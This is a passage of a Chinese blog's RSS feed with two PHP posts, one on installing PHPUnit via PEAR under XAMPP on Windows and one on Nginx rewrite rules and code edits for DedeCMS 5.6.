﻿<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>奋斗足迹&#124;崔玉松 &#187; PHP</title>
	<atom:link href="http://fendou.org/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://fendou.org</link>
	<description>为家人，为自己，为生活~~</description>
	<lastBuildDate>Fri, 24 Feb 2012 15:21:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>XAMPP集成环境中安装PHPUnit</title>
		<link>http://fendou.org/2011/02/10/xampp-phpunit-install/</link>
		<comments>http://fendou.org/2011/02/10/xampp-phpunit-install/#comments</comments>
		<pubDate>Thu, 10 Feb 2011 06:43:35 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[常识]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=804</guid>
		<description><![CDATA[PHPUnit是一个轻量级的PHP测试框架。它是在PHP5下面对JUnit3系列版本的完整移植，是xUnit测试框架家族的一员(它们都基于模式先锋Kent Beck的设计)。单元测试是几个现代敏捷开发方法的基础，使得PHPUnit成为许多大型PHP项目的关键工具。这个工具也可以被Xdebug扩展用来生成代码覆盖率报告 ，并且可以与phing集成来自动测试，最后它还可以和Selenium整合来完成大型的自动化集成测试。 Windows平台LAMP环境XAMPP 1.7.3下如何安装PHPUnit呢？ 首先，以管理员身份运行cmd，使用pear添加phpunit频道： D:\xampp\php>pear channel-discover pear.phpunit.de Channel “pear.phpunit.de” is already initialized 频道添加好，尝试安装PHPUnit： D:\xampp\php>pear install phpunit/PHPUnit Unknown remote channel: pear.symfony-project.com Unknown remote channel: pear.symfony-project.com Unknown remote channel: components.ez.no Unknown remote channel: components.ez.no phpunit/PHPUnit requires PEAR Installer (version >= 1.9.1), installed version is 1.9.0 phpunit/PHPUnit requires package “channel://pear.symfony-project.com/YAML” (version >= 1.0.2) phpunit/PHPUnit can optionally...  <a href="http://fendou.org/2011/02/10/xampp-phpunit-install/" class="more-link" title="Read XAMPP集成环境中安装PHPUnit">Read more &#187;</a><table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F&from=http%3A%2F%2Ffendou.org%2F2011%2F02%2F10%2Fxampp-phpunit-install%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP是可扩展的语言</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F08%2Fphp%25E8%25A7%25A3%25E6%259E%2590xml%25E6%2596%2587%25E6%25A1%25A3%2F&from=http%3A%2F%2Ffendou.org%2F2011%2F02%2F10%2Fxampp-phpunit-install%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP解析XML文档</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F12%2F05%2Fvisibility-in-php%2F&from=http%3A%2F%2Ffendou.org%2F2011%2F02%2F10%2Fxampp-phpunit-install%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Visibility in PHP</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F08%2F19%2Fxp_apache2%2F&from=http%3A%2F%2Ffendou.org%2F2011%2F02%2F10%2Fxampp-phpunit-install%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">XP下Apache2.2 + PHP5.2安装方法</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2011%2F02%2F10%2Fxampp-phpunit-install%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>PHPUnit是一个轻量级的PHP测试框架。它是在PHP5下面对JUnit3系列版本的完整移植，是xUnit测试框架家族的一员(它们都基于模式先锋Kent Beck的设计)。单元测试是几个现代敏捷开发方法的基础，使得PHPUnit成为许多大型PHP项目的关键工具。这个工具也可以被Xdebug扩展用来生成代码覆盖率报告 ，并且可以与phing集成来自动测试，最后它还可以和Selenium整合来完成大型的自动化集成测试。</p>
<p>Windows平台LAMP环境XAMPP 1.7.3下如何安装PHPUnit呢？</p>
<p>首先，以管理员身份运行cmd，使用pear添加phpunit频道：</p>
<p>D:\xampp\php>pear channel-discover pear.phpunit.de<br />
Channel “pear.phpunit.de” is already initialized</p>
<p>频道添加好，尝试安装PHPUnit：</p>
<p>D:\xampp\php>pear install phpunit/PHPUnit<br />
Unknown remote channel: pear.symfony-project.com<br />
Unknown remote channel: pear.symfony-project.com<br />
Unknown remote channel: components.ez.no<br />
Unknown remote channel: components.ez.no<br />
phpunit/PHPUnit requires PEAR Installer (version >= 1.9.1), installed version is 1.9.0<br />
phpunit/PHPUnit requires package “channel://pear.symfony-project.com/YAML” (version >= 1.0.2)<br />
phpunit/PHPUnit can optionally use PHP extension “dbus”<br />
phpunit/DbUnit requires PEAR Installer (version >= 1.9.1), installed version is1.9.0<br />
phpunit/DbUnit requires package “channel://pear.symfony-project.com/YAML” (version >= 1.0.2)<br />
phpunit/File_Iterator requires PEAR Installer (version >= 1.9.1), installed version is 1.9.0<br />
phpunit/PHP_CodeCoverage requires PEAR Installer (version >= 1.9.1), installed version is 1.9.0<br />
phpunit/PHP_CodeCoverage requires package “channel://components.ez.no/ConsoleTools” (version >= 1.6)<br />
phpunit/PHP_CodeCoverage requires package “phpunit/File_Iterator” (version >= 1.2.2)<br />
phpunit/PHP_CodeCoverage can optionally use PHP extension “xdebug” (version >= 2.0.5)<br />
phpunit/PHPUnit_MockObject requires PEAR Installer (version >= 1.9.1), installed version is 1.9.0<br />
phpunit/PHPUnit_Selenium requires PEAR Installer (version >= 1.9.1), installed version is 1.9.0<br />
phpunit/PHP_TokenStream requires PEAR Installer (version >= 1.9.1), installed version is 1.9.0<br />
phpunit/PHP_TokenStream requires package “channel://components.ez.no/ConsoleTools” (version >= 1.6)<br />
No valid packages found<br />
install failed</p>
<p>从提示看出，需要安装PEAR 1.9.1，而当前PEAR是1.9.0，那就要先升级PEAR版本。</p>
<p>pear list-upgrades可以列出当前可用的更新，<br />
D:\xampp\php>pear.bat list-upgrades<br />
WARNING: channel “pear.php.net” has updated its protocols, use “pear channel-update pear.php.net” to<br />
update</p>
<p>D:\xampp\php>pear channel-update pear.php.net<br />
Updating channel “pear.php.net”<br />
Update of Channel “pear.php.net” succeeded</p>
<p>D:\xampp\php>pear.bat list-upgrades<br />
PEAR.PHP.NET AVAILABLE UPGRADES (STABLE):<br />
=========================================<br />
CHANNEL     PACKAGE          LOCAL           REMOTE          SIZE<br />
pear.php.net Archive_Tar     1.3.3 (stable)  1.3.7 (stable)  17.2kB<br />
pear.php.net Console_Getargs 1.3.4 (stable)  1.3.5 (stable)  17.8kB<br />
pear.php.net Mail            1.1.14 (stable) 1.2.0 (stable)  23kB<br />
pear.php.net Mail_Mime       1.5.2 (stable)  1.8.1 (stable)  31kB<br />
pear.php.net Mail_mimeDecode 1.5.1 (stable)  1.5.5 (stable)  11.4kB<br />
pear.php.net Net_SMTP        1.3.4 (stable)  1.4.4 (stable)  12.1kB<br />
pear.php.net Net_Socket      1.0.9 (stable)  1.0.10 (stable) 5.3kB<br />
pear.php.net PEAR            1.9.0 (stable)  1.9.1 (stable)  287kB<br />
pear.php.net Structures_Graph 1.0.3 (stable) 1.0.4 (stable)  30kB<br />
Channel pear.phpunit.de: No upgrades available<br />
ZEND.GOOGLECODE.COM/SVN AVAILABLE UPGRADES (STABLE):<br />
====================================================<br />
CHANNEL                PACKAGE LOCAL          REMOTE          SIZE<br />
zend.googlecode.com/svn zend   1.9.6 (stable) 1.11.1 (stable)   -</p>
<p>更新所有可用更新：<br />
D:\xampp\php>pear upgrade-all<br />
Will upgrade channel://pear.php.net/archive_tar<br />
Will upgrade channel://pear.php.net/console_getargs<br />
Will upgrade channel://pear.php.net/mail<br />
Will upgrade channel://pear.php.net/mail_mime<br />
Will upgrade channel://pear.php.net/mail_mimedecode<br />
Will upgrade channel://pear.php.net/net_smtp<br />
Will upgrade channel://pear.php.net/net_socket<br />
Will upgrade channel://pear.php.net/pear<br />
Will upgrade channel://pear.php.net/structures_graph<br />
Will upgrade channel://zend.googlecode.com/svn/zend<br />
Did not download optional dependencies: pear/Auth_SASL, use &#8211;alldeps to download automatically<br />
pear/Net_SMTP can optionally use package “pear/Auth_SASL”<br />
downloading Archive_Tar-1.3.7.tgz &#8230;<br />
Starting to download Archive_Tar-1.3.7.tgz (17,610 bytes)<br />
&#8230;&#8230;done: 17,610 bytes<br />
downloading Console_Getargs-1.3.5.tgz &#8230;<br />
Starting to download Console_Getargs-1.3.5.tgz (18,207 bytes)<br />
&#8230;done: 18,207 bytes<br />
downloading Mail-1.2.0.tgz &#8230;<br />
Starting to download Mail-1.2.0.tgz (23,214 bytes)<br />
&#8230;done: 23,214 bytes<br />
downloading Mail_Mime-1.8.1.tgz &#8230;<br />
Starting to download Mail_Mime-1.8.1.tgz (31,530 bytes)<br />
&#8230;done: 31,530 bytes<br />
downloading Mail_mimeDecode-1.5.5.tgz &#8230;<br />
Starting to download Mail_mimeDecode-1.5.5.tgz (11,554 bytes)<br />
&#8230;done: 11,554 bytes<br />
downloading Net_SMTP-1.4.4.tgz &#8230;<br />
Starting to download Net_SMTP-1.4.4.tgz (12,264 bytes)<br />
&#8230;done: 12,264 bytes<br />
downloading Net_Socket-1.0.10.tgz &#8230;<br />
Starting to download Net_Socket-1.0.10.tgz (5,429 bytes)<br />
&#8230;done: 5,429 bytes<br />
downloading PEAR-1.9.1.tgz &#8230;<br />
Starting to download PEAR-1.9.1.tgz (293,587 bytes)<br />
&#8230;done: 293,587 bytes<br />
downloading Structures_Graph-1.0.4.tgz &#8230;<br />
Starting to download Structures_Graph-1.0.4.tgz (30,318 bytes)<br />
&#8230;done: 30,318 bytes<br />
downloading Zend-1.11.1.tgz &#8230;<br />
Starting to download Zend-1.11.1.tgz (3,638,888 bytes)<br />
&#8230;done: 3,638,888 bytes<br />
upgrade-all ok: channel://pear.php.net/Archive_Tar-1.3.7<br />
upgrade-all ok: channel://pear.php.net/Console_Getargs-1.3.5<br />
upgrade-all ok: channel://pear.php.net/Mail-1.2.0<br />
upgrade-all ok: channel://pear.php.net/Mail_Mime-1.8.1<br />
upgrade-all ok: channel://pear.php.net/Net_Socket-1.0.10<br />
upgrade-all ok: channel://pear.php.net/Structures_Graph-1.0.4<br />
upgrade-all ok: channel://zend.googlecode.com/svn/Zend-1.11.1<br />
upgrade-all ok: channel://pear.php.net/Mail_mimeDecode-1.5.5<br />
upgrade-all ok: channel://pear.php.net/Net_SMTP-1.4.4<br />
upgrade-all ok: channel://pear.php.net/PEAR-1.9.1<br />
PEAR: Optional feature webinstaller available (PEAR&#8217;s web-based installer)<br />
PEAR: Optional feature gtkinstaller available (PEAR&#8217;s PHP-GTK-based installer)<br />
PEAR: Optional feature gtk2installer available (PEAR&#8217;s PHP-GTK2-based installer)<br />
PEAR: To install optional features use “pear install pear/PEAR#featurename”</p>
<p>更新成功后，PEAR已经是最新版了，<br />
pear.symfony-project.com和components.ez.no两个频道也要添加一下：</p>
<p>D:\xampp\php>pear channel-discover pear.symfony-project.com<br />
Adding Channel “pear.symfony-project.com” succeeded<br />
Discovery of channel “pear.symfony-project.com” succeeded</p>
<p>D:\xampp\php>pear channel-discover components.ez.no<br />
Adding Channel “components.ez.no” succeeded<br />
Discovery of channel “components.ez.no” succeeded</p>
<p>再次尝试安装PHPUnit：</p>
<p>D:\xampp\php>pear install phpunit/PHPUnit<br />
phpunit/PHPUnit can optionally use PHP extension “dbus”<br />
phpunit/PHP_CodeCoverage can optionally use PHP extension “xdebug” (version >= 2.0.5)<br />
downloading PHPUnit-3.5.5.tgz &#8230;<br />
Starting to download PHPUnit-3.5.5.tgz (116,148 bytes)<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..done: 116,148 bytes<br />
downloading DbUnit-1.0.0.tgz &#8230;<br />
Starting to download DbUnit-1.0.0.tgz (38,183 bytes)<br />
&#8230;done: 38,183 bytes<br />
downloading PHP_CodeCoverage-1.0.2.tgz &#8230;<br />
Starting to download PHP_CodeCoverage-1.0.2.tgz (109,280 bytes)<br />
&#8230;done: 109,280 bytes<br />
downloading YAML-1.0.4.tgz &#8230;<br />
Starting to download YAML-1.0.4.tgz (9,919 bytes)<br />
&#8230;done: 9,919 bytes<br />
downloading ConsoleTools-1.6.1.tgz &#8230;<br />
Starting to download ConsoleTools-1.6.1.tgz (869,994 bytes)<br />
&#8230;done: 869,994 bytes<br />
downloading PHP_TokenStream-1.0.1.tgz &#8230;<br />
Starting to download PHP_TokenStream-1.0.1.tgz (7,250 bytes)<br />
&#8230;done: 7,250 bytes<br />
downloading Base-1.8.tgz &#8230;<br />
Starting to download Base-1.8.tgz (236,357 bytes)<br />
&#8230;done: 236,357 bytes<br />
install ok: channel://pear.symfony-project.com/YAML-1.0.4<br />
install ok: channel://components.ez.no/Base-1.8<br />
install ok: channel://pear.phpunit.de/DbUnit-1.0.0<br />
install ok: channel://components.ez.no/ConsoleTools-1.6.1<br />
install ok: channel://pear.phpunit.de/PHP_TokenStream-1.0.1<br />
install ok: channel://pear.phpunit.de/PHP_CodeCoverage-1.0.2<br />
install ok: channel://pear.phpunit.de/PHPUnit-3.5.5</p>
<p>PHPUnit安装成功！！！</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F&from=http%3A%2F%2Ffendou.org%2F2011%2F02%2F10%2Fxampp-phpunit-install%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP是可扩展的语言</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F08%2Fphp%25E8%25A7%25A3%25E6%259E%2590xml%25E6%2596%2587%25E6%25A1%25A3%2F&from=http%3A%2F%2Ffendou.org%2F2011%2F02%2F10%2Fxampp-phpunit-install%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP解析XML文档</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F12%2F05%2Fvisibility-in-php%2F&from=http%3A%2F%2Ffendou.org%2F2011%2F02%2F10%2Fxampp-phpunit-install%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Visibility in PHP</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F08%2F19%2Fxp_apache2%2F&from=http%3A%2F%2Ffendou.org%2F2011%2F02%2F10%2Fxampp-phpunit-install%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">XP下Apache2.2 + PHP5.2安装方法</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2011%2F02%2F10%2Fxampp-phpunit-install%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2011/02/10/xampp-phpunit-install/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DedeCMS 5.6版本的Nginx环境伪静态化</title>
		<link>http://fendou.org/2010/10/23/dedecms-nginx-rewrite/</link>
		<comments>http://fendou.org/2010/10/23/dedecms-nginx-rewrite/#comments</comments>
		<pubDate>Sat, 23 Oct 2010 07:22:26 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Excellence Article]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[网站]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=744</guid>
		<description><![CDATA[Linux环境下dedecms5.6实现伪静态的方法,5.5 5.3应该也适用。 1.首在在后台开启伪静态. 2.然后栏目和文章设置成动态浏览. 设置方法为：在后台系统设置sql里执行以下语句 将所有文档设置为“仅动态浏览”，update dede_archives set ismake=-1 将所有栏目设置为“使用动态页”，update dede_arctype set isdefault=-1 改成1就是静态。动态转换为静态后需要重新生成HTML。 3. nginx设置重写规则. 内容为: rewrite “^/list-([0-9]+)\.html$” /plus/list.php?tid=$1 last; rewrite “^/list-([0-9]+)-([0-9]+)-([0-9]+)\.html$” /plus/list.php?tid=$1&#038;totalresult=$2&#038;PageNo=$3 last; rewrite “^/view-([0-9]+)-1\.html$” /plus/view.php?arcID=$1 last; rewrite “^/view-([0-9]+)-([0-9]+)\.html$” /plus/view.php?aid=$1&#038;pageno=$2 last; break; 修改channelunit.func.php文件 原来大约113行： return $GLOBALS["cfg_plus_dir"].”/view-”.$aid.&#8217;-1.html&#8217;; 修改为： return $GLOBALS["cfg_cmsurl"].”/view-”.$aid.&#8217;-1.html&#8217;; 原来大约166行为： $reurl = $GLOBALS['cfg_phpurl'].”/list.php?tid=”.$typeid; 修改为： if($cfg_rewrite == &#8216;Y&#8217;) { $reurl = $GLOBALS['cfg_cmsurl'].”/list-{$typeid}.html”; } else...  <a href="http://fendou.org/2010/10/23/dedecms-nginx-rewrite/" class="more-link" title="Read DedeCMS 5.6版本的Nginx环境伪静态化">Read more &#187;</a><table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">wordpress的nginx rewrite规则</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP实现URL路由</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F03%2F07%2Fphp%25E4%25BB%258E%25E4%25B8%259A%25E8%2580%2585%25E7%2589%25B9%25E5%25BE%2581%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php从业者特征</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP记事本程序（三）----持续改进</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>Linux环境下dedecms5.6实现伪静态的方法,5.5 5.3应该也适用。<br />
1.首在在后台开启伪静态.</p>
<p>2.然后栏目和文章设置成动态浏览.</p>
<p>设置方法为：在后台系统设置sql里执行以下语句</p>
<p>将所有文档设置为“仅动态浏览”，update dede_archives set ismake=-1</p>
<p>将所有栏目设置为“使用动态页”，update dede_arctype set isdefault=-1</p>
<p>改成1就是静态。动态转换为静态后需要重新生成HTML。</p>
<p>3. nginx设置重写规则. 内容为:</p>
<blockquote><p>rewrite “^/list-([0-9]+)\.html$” /plus/list.php?tid=$1 last;<br />
rewrite “^/list-([0-9]+)-([0-9]+)-([0-9]+)\.html$” /plus/list.php?tid=$1&#038;totalresult=$2&#038;PageNo=$3 last;<br />
rewrite “^/view-([0-9]+)-1\.html$” /plus/view.php?arcID=$1 last;<br />
rewrite “^/view-([0-9]+)-([0-9]+)\.html$” /plus/view.php?aid=$1&#038;pageno=$2 last;<br />
break;</p></blockquote>
<p>修改channelunit.func.php文件<br />
原来大约113行：</p>
<blockquote><p>return $GLOBALS["cfg_plus_dir"].”/view-”.$aid.&#8217;-1.html&#8217;;</p></blockquote>
<p>修改为：</p>
<blockquote><p>return $GLOBALS["cfg_cmsurl"].”/view-”.$aid.&#8217;-1.html&#8217;;</p></blockquote>
<p>原来大约166行为：</p>
<blockquote><p>$reurl = $GLOBALS['cfg_phpurl'].”/list.php?tid=”.$typeid;</p></blockquote>
<p>修改为：</p>
<blockquote><p>if($cfg_rewrite == &#8216;Y&#8217;)<br />
		{<br />
			$reurl = $GLOBALS['cfg_cmsurl'].”/list-{$typeid}.html”;<br />
		}<br />
		else<br />
		{<br />
			$reurl = $GLOBALS['cfg_phpurl'].”/list.php?tid=”.$typeid;<br />
		}</p></blockquote>
<p>最胡在数据库中运行如下命令：</p>
<blockquote><p>update dede_archives set ismake=-1;<br />
update dede_arctype set isdefault=-1;</p></blockquote>
<p>备注：这样修改首页并没有实现伪静态，这样修改已经满足我的需求了，修改一下模板或者增加点全局的东西，不用全部重新生成一遍，几十万篇文章，全部生成一遍简直就是噩梦</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">wordpress的nginx rewrite规则</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP实现URL路由</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F03%2F07%2Fphp%25E4%25BB%258E%25E4%25B8%259A%25E8%2580%2585%25E7%2589%25B9%25E5%25BE%2581%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php从业者特征</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
